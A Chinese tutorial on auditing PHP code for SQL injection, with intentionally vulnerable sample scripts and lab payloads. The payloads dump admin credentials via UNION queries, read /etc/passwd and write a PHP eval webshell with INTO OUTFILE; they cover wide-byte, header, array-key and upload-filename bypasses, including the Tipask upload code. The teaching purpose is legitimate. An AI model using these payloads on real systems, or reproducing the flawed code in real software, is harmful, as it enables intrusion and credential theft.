代碼審計之SQL注入


 

0x00概況說明

 

0x01報錯注入及利用

 

環境說明 kali LAMP

0x0a 核心代碼

現在注入的主要原因是程序員在寫sql語句的時候還是通過最原始的語句拼接來完成,另外SQL語句有Select、Insert、Update和Delete四種類型,注入也是對這四種基本操作的拼接產生的。接下來筆者將以Select為例引導新手初步了解SQL注入。Select是數據庫的查詢操作,所以常常出現在像文章查看和搜索這些地方,缺陷代碼如下:

<?php
$conn =  mysql_connect('localhost', 'root', 'root') or  die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test',  $conn) OR emMsg("數據庫連接失敗");
// 這里id沒有做整形轉換
$id =  isset( $_GET['id']) ?  $_GET['id'] : 1;
// sql語句沒有單引號保護,造成注入
$sql = "SELECT * FROM news WHERE id={ $id}";
$result =  mysql_query( $sql$conn) or  die( mysql_error()); 
?>

數據庫內容

 

0x0b注入測試

1. 正常訪問

 

http://192.168.192.128/sqltest/news.php

 

http://192.168.192.128/sqltest/news.php?id=1
http://192.168.192.128/sqltest/news.php?id=2

...

 

2. 測試字段數

PS:3 正常,4報錯,說明有三個字段

 

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 3

 

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 4

 

 

3. 測試回顯字段

PS: 2,3均回顯,說明均是回顯字段

 

http://192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3

例如,在3字段測試user()函數

 

 4. 查詢當前庫下的所有表

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

 

 

5.測試表中的字段名稱

 

PS:admin 的十六進制61646d696e  ; news十六進制 6e657773

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e

 

 

 6.查詢admin表下的用戶名密碼

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x23,pass) from admin

 

7.讀取linux系統文件(/etc/passwd,需轉換為16進制)

ps:權限足夠

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)

 

 

 

 8. 權限足夠的情況下寫SHELL

 

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
若權限不足,換個目錄
phpinfo頁面
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile '/var/www/html/sqltest/3.php'--
寫個webshell(注意16進制轉換時是一條語句)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile '/var/www/html/sqltest/5.php'--

執行完畢不報錯

 

 

0x0c關於權限的tips 

另外,注入寫入的文件可能root刪除不掉,需要結合chattr 來解決。(攻防比賽中,可能會遇到)

 

 

參考:

 

http://mp.weixin.qq.com/s?src=3&timestamp=1469346783&ver=1&signature=JFsK7nVvnj9R0JHq1j-KXdP159o764mHQ8guzfVPPdAjpPhsZEFyqhJFvvdWchcJy*PfAGY4pe2KBkVJI4-X6kHovCMWCubqcpDZ7W3FmRbZoRGsFOC2zcXEaNaO2no3tRTJokL9h-s-yLq7kQWxvx7cCEcEjW6rdqaWTwcneMI=

 

 

 

0x02注入之編碼防護

0x03 注入之編碼防護

 

現在的WEB程序基本都有對SQL注入的全局過濾,運維人員配置PHP環境是一般會開啟魔術引號GPC,即magic_quotes_gpc=On的情況 下,如果輸入的數據有單引號(’)、雙引號(”)、反斜線(\)與 NUL(NULL 字符)等字符都會被加上反斜線進行轉義處理。不過GPC在PHP5.4版本后就取消了,所以現在一般都用addslashes()函數來代替GPC進行過 濾處理。目前用PHP開發的應用一般是MVC的框架模式進行開發,對GET、POST和COOKIE等傳遞的參數通常使用addslashes()函數進 行轉義,並引入一個類似common.php的文件進行處理addslashes()函數對接收的參數進行過濾,尤其是單引號。處理代碼如下:

 

<?php

if (! empty( $_GET))
{
$_GET  = addslashes_deep( $_GET);
}
if (! empty( $_POST))
{
$_POST = addslashes_deep( $_POST);
}
if (! empty( $_COOKIE))
{
$_COOKIE   = addslashes_deep( $_COOKIE);
}
function addslashes_deep( $value)
{
     if ( empty( $value))
    {
         return  $value;
    }
     else
    {
         if (! get_magic_quotes_gpc())
        {
         $value= is_array( $value) ?  array_map('addslashes_deep',  $value) :  addslashes( $value);
        }
         else
        {
         $value= is_array( $value) ?  array_map('addslashes_deep',  $value) : mystrip_tags( $value);
        }
         return  $value;
    }
}
?>

 

 

addslashes_deep函數會判斷GPC是否開啟,如果沒有開啟就會對GET、POST和COOKIE傳遞的參數進行轉義。然而僅僅使用這種方式會存在很多繞過的情況。

 

 

 

一些編碼解碼的函數像urldecode、base64decode的使用會導致繞過addslashes函數的全局防護,以urldecode函數為例,缺陷代碼如下:

 

 

<?php
require_once('common.php');
$conn =  mysql_connect('localhost', 'root', 'root') or  die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test',  $conn) OR emMsg("數據庫連接失敗");
$id =  isset( $_GET['id']) ?  urldecode( $_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE id='{ $id}'";
$result =  mysql_query( $sql$conn) or  die( mysql_error()); 
?>

 

 

說明單引號經過了addslashes函數的轉義,我們查下sql查詢的日志,確實是對單引號進行轉義處理了:

select * from news where id='1\''

當輸入 http://192.168.192.128/sqltest/sql2/urldecode.php?id=1%2527

http://192.168.192.128/sqltest/sql2/urldecode.php?id=%2527 and 1=2 union select 1,2,user()%23

 

http://192.168.192.128/sqltest/sql2/urldecode.php?id=-1%2527  union select 1,2,concat(name,0x23,pass) from admin%23

 

 from:

http://mp.weixin.qq.com/s?__biz=MzIwMTQ2NzY4NA==&mid=2652520439&idx=1&sn=d15f5a6a02336bce742c2822c62462da&scene=21#wechat_redirect

 

0x03函數錯用致注入 

一些函數的錯誤使用會引發SQL注入的場景以及二次注入漏洞產生的原因。

0x0a 全局bypass的tips

1.函數的錯誤使用

1.1 replace函數

1.1.1 把單引號替換成空,\'變成了\  double條件情況下可繼續注入  wooyun-2014-050636

1.1.2 replace 是用戶可控的,就是說用戶可以想把什么提交成空就提交成空

1.2 stripslashes函數

1.2.1 全局做過addslashes后,又使用stripslashes去掉轉義造成注入 wooyun-2015-0122057

http://www.2cto.com/Article/201301/182509.html

2.二次注入

2.1 涉及到的是入庫出庫

在入庫時經過全局轉義,入庫后轉義符就小時,那么就是a',把這個查詢出來,那么出庫的就是a' 如果再帶入到了查詢,那么就成功的引入了單引號導致注入。

http://www.cnbraid.com/2016/02/19/sql3

 

0x0b實例說明,函數誤用str_replace

一些常用函數像str_replace、stripslashes的錯誤使用會導致繞過addslashes函數的全局防護,首先來看str_replace函數,有時寫程序會使用str_replace函數將參數中的單引號、括號等字符替換為空,使用不當就會引發注入問題。缺陷代碼如下:

streplace.php 如下,其中關鍵引用是str_replace

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$title = isset($_GET['title']) ? $_GET['title'] : 'news title';
$id = str_replace("'",'',$tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}' and title='{$title}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新聞</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

輸入測試http://192.168.192.128/sqltest/sql3/streplace.php?id=-1'&title=news title

發現參數id右邊的單引號被反斜杠轉義成字符了,說明又可以注入了。

簡單分析下上面id參數的執行過程,-1’經過addslashes函數轉義后變成了-1\’,然后再經過str_replace函數干掉了單引號變成了-1\,最后帶入查詢的語句才是下面這樣:

SELECT * FROM news WHERE id='-1\'and title='news title'

反斜杠轉義了sql查詢語句里id后面那個單引號,導致title參數可以構造sql注入語句了,我們直接構造獲取管理員賬戶密碼的語句

http://192.168.192.128/sqltest/sql3/streplace.php?id=-1'&title=union select 1,2,concat(name,0x23,pass) from admin%23

 

 0x0c 實例stripslashes函數

接下來我們再看下stripslashes函數,這個函數的定義是刪除由addslashes() 函數添加的反斜杠,所以很明顯使用不當的話就會引發SQL注入。缺陷代碼如下:

stripslashes.php

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新聞</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

 

分析下參數id的執行過程,-1’經過addslashes函數轉義后變成了-1\’,然后再經過stripslashes函數干掉了反斜杠變成了-1’,所以又可以愉快的注入了。

http://192.168.192.128/sqltest/sql3/stripslashes.php?id=-1' union select 1,2,concat(name,0x23,pass) from admin%23

 

0x0d 二次注入

二次注入也是一種很常見的sql注入,它涉及到入庫和出庫。假如我們注冊了一個網站,填寫個人資料后保存時數據庫里執行類似”insert into test values(1,’sm0nk’,’18’,’dev’)”這種sql語句,代表我向數據庫表test里插入昵稱為sm0nk,年齡18歲,愛好是dev的一個操作。接下來看下單引號在這條語句執行過程和mysql中的變化:
假如昵稱引入一個單引號為sm0nk’,那么經過轉義后入庫的語句為”insert into test values(1,’sm0nk\’’,’18’,’dev’)”,然后我們看下mysql執行這條語句后數據庫里內容變化:

 

我們執行一條查詢語句后發現sm0nk\’入庫后變成了sm0nk’,轉義字符消失,所以在一些頁面輸出昵稱的地方又可以構造注入語句獲取管理員賬戶密碼了~

 

 

 0X04 寬字節注入審計

0x0a bypass tips

1.數據庫字符集GBK的寬字節注入

1.1數據庫的連接方式不同(數據庫與PHP的編碼不一致,轉換過程中可能存在)

1.2 錯誤方法:set names gbk

1.3 http://www.freebuf.com/articles/web/31537.html

2.轉換字符集造成的寬字節注入

2.1 從GBK轉到UTF8   wooyun-2014-055842

2.2 從UTF8轉到GBK

0x0b說明

首先我們了解下寬字節注入,寬字節注入源於程序員設置MySQL連接時錯誤配置為:set character_set_client=gbk,這樣配置會引發編碼轉換從而導致的注入漏洞。具體原理如下:

1、正常情況下當GPC開啟或使用addslashes函數過濾GET或POST提交的參數時,黑客使用的單引號 ‘ 就會被轉義為: \’;

2、但如果存在寬字節注入,我們輸入%df%27時首先經過上面提到的單引號轉義變成了%df%5c%27(%5c是反斜杠\),之后在數據庫查詢前由於使用了GBK多字節編碼,即在漢字編碼范圍內兩個字節會被編碼為一個漢字。然后MySQL服務器會對查詢語句進行GBK編碼即%df%5c轉換成了漢字“運”(注:GBK的漢字編碼范圍見附錄),而單引號逃逸了出來,從而造成了注入漏洞。

現在基本上都會將mysql的連接配置為“setcharacter_set_client=binary”來解決這個問題,所以這篇文章將介紹出現在php中因為字符編碼轉換導致的注入問題。

 

0x0c 案例說明

字符編碼的轉換函數像iconv的使用會出現這類注入問題,分gbk轉utf-8和utf-8轉gbk兩種情況。

GBK轉UTF-8

 缺陷代碼

<?php
  require_once('common.php');
  $conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
  $title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
  //這里對title進行了gbk到utf-8的轉換
  $title = iconv("gbk","utf-8",$title_tmp);
  $sql = "SELECT * FROM news WHERE title = '{$title}'";
  echo$sql;
  $result = mysql_query($sql, $conn) ordie(mysql_error()); 
  ?>

瀏覽器輸入http://localhost/sqltest/kuanzifu1.php?title=%df‘union select 1,2,concat(name,0x23,pass) from admin%23  發現獲取了管理員賬戶密碼

其實跟前言里第2條是一樣的,我們輸入%df%27時首先經過上面提到的單引號轉義變成了%df%5c%27(%5c是反斜杠\),然后%df%5c正好屬於gbk的漢字編碼范圍,經過iconv轉換到utf-8編碼轉換后變成了漢字“運”,從而吞掉了反斜杠使得單引號逃脫出來。

UTF-8轉GBK

<?php
  require_once('common.php');
  $conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
  $title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
  $title = iconv("utf-8","gbk",$title_tmp);
  $sql = "SELECT * FROM news WHERE title = '{$title}'";
  echo$sql;
  $result = mysql_query($sql, $conn) ordie(mysql_error()); 
  ?>

這里我們思考下“錦”這個字,它的utf-8編碼是e98ca6,它的gbk編碼是e55c,而上面提到過反斜杠\正好為5c。

所以如果我們將title設置為:錦’,首先經過addlashes函數或GPC對單引號轉義變為:錦\’,然后會經過icnov函數會對”錦”轉化為gbk編碼,最后就是:%e5%5c%5c%27。反斜杠被轉義了(%5c%5c),從而單引號逃逸出來就會引發注入漏洞。

直接獲取管理員賬戶密碼的POC如下:

http://localhost/sqltest/kuanzifu2.php?title=錦‘ union select1,2,concat(name,0x23,pass) from admin%23

 

0x05 注入之盲點 

0x0a 總體盲點(一)如下:


1.注入點類似id=1這種整型的參數就會完全無視GPC的過濾;

1.1 一般數字型的都不會加單引號

1.2 $id 沒有被單引號且沒有被強制轉換  wooyun-2010-065605

1.3 過程中不全是數字型,忘記加單引號 wooyun-2014-079045

1.4 PHP弱類型語言,wooyun-2010-088872
2.注入點包含鍵值對的,那么這里只檢測了value,對key的過濾就沒有防護;

判斷gpc是否開啟,如果off就對數組中的value就行addslashes,沒有對數組中的key進行轉移,key帶入SQL

wooyun-2010-069746    wooyun-2014-070353    wooyun-2014-070366    wooyun-2014-071516

3.有時候全局的過濾只過濾掉GET、POST和COOKIE,但是沒過濾SERVER等變量。
附常見的SERVER變量(危險變量):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

3.1 獲取用戶IP並入庫的變量X_FORWARDED_FOR

wooyun-2014-068853    wooyun-2010-0173485    wooyun-2010-0173201    wooyun-2010-0169337

3.2 檢測IP的正則可被繞過(例如在cmseasy中驗證IP的正則中(%+),導致后面可以寫任意字符)

wooyun-2014-062957

 

0x0b 數字型注入

1.傳入的參數未做intval轉換、構造的sql語句沒有單引號保護

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>

這種數字型的注入是全局防護的盲點,構造注入語句完全不需要單引號的支持,所以也就不存在轉義了。例如我們直接構造獲取管理員賬戶密碼的POC:

192.168.192.128/sqltest/sql5/int1.php?id=-1  union select 1,2, concat(name,0x23,pass) from admin%23

 

 

2.php弱類型語言,判斷邏輯錯誤引發注入

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$id = isset($_GET['id']) ? $_GET['id']: 1;
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
}
?>

當然前提是數字型的注入,這里特殊之處在於增加了個if($id<1)的邏輯判斷,但PHP弱類型語言在邏輯判斷上0<1和0 union select 1<1是等價的,都返回True。所以構造獲取管理員賬戶密碼的POC:

192.168.192.128/sqltest/sql5/int2.php?id=0 union select 1,2,concat(name,0x23,pass)from admin %23

3.過程中不全是數字型,忘記加單引號

這種情況是在第一條sql語句里是有單引號保護的,緊接着第二條sql語句沒有單引號保護引發的注入,缺陷的代碼如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id='".$id."'";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error()); 
?>

第一條sql語句有單引號保護,第二條sql語句沒有了單引號保護從而可以進一步注入。構造獲取管理員賬戶密碼的POC

192.168.192.128/sqltest/sql5/int3.php?id=-1  union select 1,2,concat(name,0x23,pass)from admin %23

 

0x0c 數組類型,全局防護只過濾了value/key,未過濾代入查詢

全局防護的代碼只對數組中的vaule進行了過濾,key未過濾引發注入,全局防護缺陷代碼如下:

<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //過濾一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //過濾不安全函數
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

可以看到,對GET、POST和COOKIE傳遞的數組參數只過濾了value,忽視了key,漏洞代碼如下:

<?php
require_once('commonnew.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$title = isset($_POST['title']) ? $_POST['title']: 1;
foreach($title as $key=>$value){
    $sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'";
    $result = mysql_query($sql, $conn) or die(mysql_error()); 
}

?>

雖然查詢語句中WHERE id=’”.$key.”'有單引號保護,但是全局防護代碼就沒過濾key就存在注入了,首先POST請求下:

192.168.192.128/sqltest/sql5/array.php

title[1]=news title 發現可以獲取正常內容:

 構造獲取管理員賬戶密碼的POST請求

192.168.192.128/sqltest/sql5/array.php

title[-1' union select 1,2,concat(name,0x23,pass) from admin%23]=news title

 

0x0d SERVER變量未過濾

上面的全局防護只過濾了GET、POST和COOKIE而忽略了SERVER變量,SERVER變量的注入常常發生在獲取用戶ip並入庫的函數上,類似如下代碼:

//獲取訪問者IP(PHP代碼/函數)    
function get_ip(){
    if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
      $ip=getenv("HTTP_CLIENT_IP");
    }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
      $ip=getenv("HTTP_X_FORWARDED_FOR");
    }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
      $ip=getenv("REMOTE_ADDR");
    }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
      $ip=$_SERVER['REMOTE_ADDR'];
    }else{
      $ip="unknown" ;  
    }
    return $ip;  
}

通過$_SERVER變量獲取客戶端ip且可以通過X_FORWARDED_FOR偽造,然后這里對X_FORWARDED_FOR是沒有任何正則處理的,所以可以構造注入語句,缺陷代碼如下:

 

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("數據庫連接失敗");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id='".$id."'";;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>

 

這里可以在請求中添加獲取管理員賬戶密碼的POC為 X-Forwarded-For:-1' union select 1,2,concat(name,0x23,pass) from admin#,由於SERVER變量沒過濾所以這里單引號保護也就沒用了。成功獲取管理員賬戶密碼如下:

 

 

 0x06 【續】注入之盲點

0x0a盲點如下:
1.FILES注入,全局只轉義掉GET、POST等傳來的參數,遺漏了FILES;

1.1 全局只對COOKIE GET POST 轉義,遺漏了FILES,且不受GPC(FILES 注入一般是因為上傳,會把上傳的名字帶到insert當中入庫)

1.2 wooyun-2014-065837

1.3 入庫時候對文件的名字進行了轉義,在獲取后綴后在入庫時對文件名的轉義卻沒有對后綴轉義,導致注入

1.4 wooyun-2010-079041
2.變量覆蓋,危險函數:extract()、parse_str()、$$。

2.1 extract($POST)直接從POST數組中取出變量,覆蓋掉之前的一些變量,覆蓋的話一般是覆蓋掉表前綴之類

2.2 select * from $pre_admin where xxx像這種的就覆蓋掉$pre,然后補全語句注入

2.3 wooyun-2014-053189

2.4 wooyun-2014-051734

2.5 $$ wooyun-2010-055338

0x0b FILES注入

FILES注入一般情況是是因為上傳時把上傳的名字帶到insert入庫產生的,這里看下tipask問答系統,首先看看它的全局防護是怎么處理的:

index.php:
include TIPASK_ROOT . '/model/tipask.class.php';

$tipask = new tipask();
$tipask->run();
... ...
function init_request(){
... ...
        $this->get = taddslashes($this->get, 1);
        $this->post = taddslashes(array_merge($_GET, $_POST));
        checkattack($this->post, 'post');
        checkattack($this->get, 'get');
        unset($_POST);
    }

 

可以看到對get和post傳來的數據進行了addslashes特殊轉義處理,對$_FILES沒有任何處理操作,我們全局搜索$_FILES,發現/control/attach.php有上傳處理,我們跟進:

    function onupload() {
        //上傳配置
        $config = array(
            "uploadPath" => "data/attach/", //保存路徑
            "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允許格式
            "fileSize" => 10 //文件大小限制,單位MB
        );

//文件上傳狀態,當成功時返回SUCCESS,其余值將直接返回對應字符竄
        $state = "SUCCESS";
        $clientFile = $_FILES["upfile"];
        if (!isset($clientFile)) {
            echo "{'state':'文件大小超出服務器配置!','url':'null','fileType':'null'}"; //請修改php.ini中的upload_max_filesize和post_max_size
            exit;
        }

//格式驗證
        $current_type = strtolower(strrchr($clientFile["name"], '.'));
        if (!in_array($current_type, $config['fileType'])) {
            $state = "不支持的文件類型!";
        }
//大小驗證
        $file_size = 1024 * 1024 * $config['fileSize'];
        if ($clientFile["size"] > $file_size) {
            $state = "文件大小超出限制!";
        }
//保存文件
        if ($state == "SUCCESS") {
            $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
            $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
            if (!$result) {
                $state = "文件保存失敗!";
            } else {
                $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
            }
        }
//向瀏覽器返回數據json數據
        echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
    }

 

可以看到這句$_ENV[‘attach’]->add($clientFile[“name”]…),將$clientFile[name] = $_FILES[“upfile”][name]帶入了如下add入庫的操作,從而造成注入。

 

    function add($filename,$ftype,$fsize,$location,$isimage=1) {
        $uid=$this->base->user['uid'];
        $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");
        return $this->db->insert_id();
    }

 

上傳一個文件,然后修改文件名稱為以下代碼即可獲取管理員賬戶密碼:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg

數據庫里成功將管理員賬戶密碼插入到attach表中:

 

 0x0c 變量覆蓋

 出現比較多的是extract函數,例如extract($_POST)會直接從POST數組中取出變量,覆蓋掉之前的一些變量。

<?php
$a = "init test";
@extract($_POST);
#print_r($a);
echo $a;
?>

之前出現過案例是覆蓋表前綴上,例如sql執行語句如下:
select title,content from {$pre}news where id=1
然后攻擊者直接瀏覽器提交pre=“獲取敏感信息的語句”來覆蓋表前綴從而實現注入攻擊。

 

$$變量覆蓋
原理其實跟上面一樣,有個很經典的$$變量覆蓋的代碼:

<?php
$a= "init test";
foreach(array('_COOKIE','_POST','_GET')as $_request){
    foreach($$_request as $_key=>$_value){
        $$_key = addslashes($_value);
    }
}
echo $a;
?>
                           

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

last-update


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM